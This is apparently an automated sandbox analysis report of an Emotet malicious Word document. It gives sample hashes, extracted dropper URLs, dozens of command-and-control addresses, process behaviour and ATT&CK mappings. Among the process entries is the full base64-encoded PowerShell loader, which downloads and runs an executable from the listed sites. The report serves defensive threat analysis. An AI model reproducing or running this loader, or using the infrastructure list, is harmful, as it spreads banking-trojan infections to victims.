emotet | ccbcad2a9942d0f7bf92e15755b8a683672cd6ec815358a55c4d2b2a74f6b93c

General

Target
emotet_e3_ccbcad2a9942d0f7bf92e15755b8a683672cd6ec815358a55c4d2b2a74f6b93c_2020-08-20__100245._doc.doc
Size 189KB
Sample200820-4z2h8jb2na
SHA256 ccbcad2a9942d0f7bf92e15755b8a683672cd6ec815358a55c4d2b2a74f6b93c
MD5 d776a4d4bbef1c2c6426cda47970fe2f
SHA1 d5ae92a36bde19fef3fa9815aaf136cd0e29d92e
SHA512 b1d16f2199a775360dd7db18fc1c80a5ac10213341d1e8564c8dd6d87270941aeb37f8795732b3fc26cf824090533f300a6d586c0b195380102537c9e48160c6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
exe.dropper
https://grasplms.com/wp-content/n5824604/
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/

Extracted

Family

emotet

C2

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3784	3296	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3108-11-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/3108-11-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/1268-14-0x0000000002140000-0x000000000214C000-memory.dmp	emotet
behavioral2/memory/1268-14-0x0000000002140000-0x000000000214C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	3784	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3108	Ijbtr_.exe
1268	davhlpr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wsecedit\davhlpr.exe	Ijbtr_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3784	powersheLL.exe
3784	powersheLL.exe
3784	powersheLL.exe
1268	davhlpr.exe
1268	davhlpr.exe
1268	davhlpr.exe
1268	davhlpr.exe
1268	davhlpr.exe
1268	davhlpr.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3108	Ijbtr_.exe
3108	Ijbtr_.exe
1268	davhlpr.exe
1268	davhlpr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3784 wrote to memory of 3108	3784	powersheLL.exe	73
PID 3784 wrote to memory of 3108	3784	powersheLL.exe	73
PID 3784 wrote to memory of 3108	3784	powersheLL.exe	73
PID 3108 wrote to memory of 1268	3108	Ijbtr_.exe	75
PID 3108 wrote to memory of 1268	3108	Ijbtr_.exe	75
PID 3108 wrote to memory of 1268	3108	Ijbtr_.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ccbcad2a9942d0f7bf92e15755b8a683672cd6ec815358a55c4d2b2a74f6b93c_2020-08-20__100245._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\SysWOW64\wsecedit\davhlpr.exe
    "C:\Windows\SysWOW64\wsecedit\davhlpr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1268-14-0x0000000002140000-0x000000000214C000-memory.dmp

Download

memory/3108-11-0x0000000002260000-0x000000000226C000-memory.dmp

Download

memory/3784-6-0x0000022DDE530000-0x0000022DDE531000-memory.dmp

Download

memory/3784-7-0x0000022DF68C0000-0x0000022DF68C1000-memory.dmp

Download

memory/3784-5-0x00007FFA38970000-0x00007FFA3935C000-memory.dmp

Download

memory/3828-0-0x00007FFA40B00000-0x00007FFA411C6000-memory.dmp

Download

memory/3828-4-0x0000018BF0D94000-0x0000018BF0D98000-memory.dmp

Download

memory/3828-3-0x0000018BF0D98000-0x0000018BF0D9D000-memory.dmp

Download

memory/3828-2-0x0000018BF0D94000-0x0000018BF0D98000-memory.dmp

Download

memory/3828-1-0x0000018BF0B74000-0x0000018BF0C0D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads